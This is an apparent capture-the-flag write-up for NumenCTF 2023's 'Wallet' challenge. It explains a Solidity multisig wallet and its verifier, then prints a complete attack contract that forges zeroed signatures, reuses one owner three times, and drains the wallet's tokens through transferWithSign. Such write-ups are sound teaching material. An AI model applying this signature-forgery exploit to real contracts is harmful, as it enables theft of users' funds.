Wallet¶
Introduction¶
Similiar to the previous contract, this contract focus on emptying the tokens in Wallet.
Here's the source code: https://github.com/numencyber/NumenCTF_2023/blob/main/wallet/contracts/NumenWallet.sol
Code Breakdown¶
There are 2 contracts to look at Wallet and Verifier as well as 3 struct
Wallet¶
The key function to look at is transferWithSign.
Here's a breakdown of the function.
- It takes in 3 parameters - recipent, amount and a struct(SignedbyOwner)
- Amount must be more than 0
- Recipent cannot be null
- 3 Signatures from wallet owners are required
- Will call the verify function from Verifier contract
- Wallet tokens will be transferred once verification is complete
Verifier¶
There is only 1 function to look at verify
Here's a breakdown of the function.
- It accepts 3 parameters - recipent, amount and the array of signatures
Structs¶
There are 3 structs to look at: Holder, Signature and SignedByOwner.
These structs are critical to solving the puzzle as they contain the parameters needed to construct fake signatures.
Hints¶
You'll need to create a smart contract to do the following:
1) Create a Holder with wallet's owner address, random name, boolean and random reason
2) Create a Signature with random values
3) Store all 3 signatures into SignedByOwner
4) Transfer the tokens away by executing transferWithSign with the stored signature
Solutions¶
If you following the hints above, you will arrive at the same/similiar conclusion as me.
Here's the solution:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
import './wallet.sol';
contract wallet_attack {
Wallet public wallet;
IERC20 immutable public token;
constructor(Wallet _wallet, NC _nc){
wallet = Wallet(_wallet);
token = NC(_nc);
}
function fake_signature() public {
//Create a holder
bytes memory _reason = new bytes(1);
Holder memory _holder = Holder(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4), '0', true, _reason);
//Create 32 bytes variable with a default value of 0
bytes32 _rs1;
bytes32 _rs2;
//Create signature
Signature memory _signature = Signature(1, [_rs1,_rs2]);
//Sign by the same owner 3 times
SignedByowner[] memory ss = new SignedByowner[](3);
ss[0] = SignedByowner(_holder, _signature);
ss[1] = SignedByowner(_holder, _signature);
ss[2] = SignedByowner(_holder, _signature);
wallet.transferWithSign(address(0xdD870fA1b7C4700F2BD7f44238821C26f7392148), token.balanceOf(address(wallet)), ss);
}
function getWalletbalance() public view returns (uint256){
return token.balanceOf(address(wallet));
}
}